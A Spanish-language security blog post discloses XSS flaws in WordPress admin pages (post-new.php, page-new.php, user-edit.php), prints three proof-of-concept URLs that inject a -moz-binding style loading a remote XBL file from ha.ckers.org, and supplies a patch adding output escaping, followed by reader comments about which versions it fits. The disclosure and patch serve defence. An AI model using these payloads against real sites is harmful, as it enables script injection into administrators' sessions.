Categories
Seguridad Web WordPress XSS

Más vulnerabilidades XSS para WordPress

Parche para corregir vulnerabilidades XSS de Wordpress en los archivos wp-admin/post-new.php, wp-admin/page-new.php y wp-admin/users-edit.php

Actualización: g30rg3_x se ha tomado la molestia de preparar un parche más completo para WordPress 2.2.

Siguen reportándose más bugs de WordPress, esta vez afecta a los archivos wp-admin/post-new.php, wp-admin/page-new.php, wp-admin/users-edit.php. Estos errores al parecer están presentes en todas las versiones de WordPress.

Las pruebas de concepto son las siguientes (sólo funcionan en Firefox, pero también se pueden preparar ejemplos para Internet Explorer):

code:

http://www.site.com/path.to/wp-admin/post-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&popuptitle=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/page-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'

Si alguien no quiere esperar una nueva versión y desea corregir el problema por sus propios medios, puede basarse en el siguiente parche generado a partir de la versión de desarrollo de WordPress:

diff:

Index: wp-admin/edit-form-advanced.php
===================================================================
--- wp-admin/edit-form-advanced.php     (revision 5508)
+++ wp-admin/edit-form-advanced.php     (working copy)
@@ -140,7 +140,7 @@
 
 <fieldset id="titlediv">
        <legend><?php _e('Title') ?></legend>
-       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 <fieldset id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>">
Index: wp-admin/edit-page-form.php
===================================================================
--- wp-admin/edit-page-form.php (revision 5508)
+++ wp-admin/edit-page-form.php (working copy)
@@ -126,7 +126,7 @@
 
 <fieldset id="titlediv">
   <legend><?php _e('Page Title') ?></legend>
-  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 
Index: wp-admin/user-edit.php
===================================================================
--- wp-admin/user-edit.php      (revision 5508)
+++ wp-admin/user-edit.php      (working copy)
@@ -76,7 +76,7 @@
 <form name="profile" id="your-profile" action="user-edit.php" method="post">
 <?php wp_nonce_field('update-user_' . $user_id) ?>
 <?php if ( $wp_http_referer ) : ?>
-       <input type="hidden" name="wp_http_referer" value="<?php echo wp_specialchars($wp_http_referer); ?>" />
+       <input type="hidden" name="wp_http_referer" value="<?php echo clean_url($wp_http_referer); ?>" />
 <?php endif; ?>
 <p>
 <input type="hidden" name="from" value="profile" />
 

Para los que no estén familiarizados con los parches, deben eliminar las líneas que comienzan con "-" y cambiarlas por las que empiezan por "+".

18 replies on “Más vulnerabilidades XSS para WordPress”

Buenas, he probado los tres exploit con FF 1.0.4 y me redirige a la página de login. El WP es un 2.1.3

Necesitas las credenciales del administrador para que funcione, este tipo de vulnerabilidades normalmente van acompañados de ataques CSRF.

Alex duda; la última parte del DIFF, concretamente la de user-edit.php se refiere a una función que en 2.0.x (o al menos en mi versión) no existe, el trozo que a mí me sale es:

<h2><?php _e('Edit User'); ?></h2>

<form name="profile" id="your-profile" action="user-edit.php" method="post">
<?php wp_nonce_field('update-user_' . $user_id) ?>
<p>
<input type="hidden" name="from" value="profile" />
<input type="hidden" name="checkuser_id" value="<?php echo $user_ID ?>" />
</p>

Como ves, no existe ninguna función wp_http_referer.

Fallos XSS en WordPress: page-new, post-new y user-edit...

Buenas y malas noticias: las buenas es que sólo afecta como administrador a los que tengan “manía Unix” y usen un usuario no-administrador (como es mi caso, que el usuario Armonth es +/- el equivalente a un editor) están a salvo.

Las ma...

@Armonth: Para en 2.0 no existe esa parte, por eso mencionaba que el parche fue generado a partir de la versión de desarrollo (trunk del svn).

Por otro lado, ya está disponible una solución más completa hecha por un desarrollador de WP.

En WP 2.0.10 no encuentro $post->post_title; en los ficheros que más se aproximan:

wp-admin/page-new.post

wp-admin/post.php

wp-admin/user-edit.php

wp-admin/users.php

@maty: Los bugs son accesibles a través de esos archivos, pero en realidad éstos no se encuentran ahí, tal como se aprecia en el parche tienes que corregir los archivos wp-admin/edit-form-advanced.php y wp-admin/edit-page-form.php

Gracias por los parches g30r3_x, disculpa por no mostrar antes tus comentarios -- éstos fueron enviados a la cola de spam y hoy recién acabo de verlos.

Mas y Mas Bugs de WordPress...

Cuando las aguas parecían tranquilas salen nuevas vulnerabilidades…
Una de ellas la cual fue descubierta por Waraxe solo afecta a la rama 2.1.x y menores.
Y la otra apenas salio hace unos pocos días a cargo de los famosos ha.ckers.org y que afe...

Comments are closed.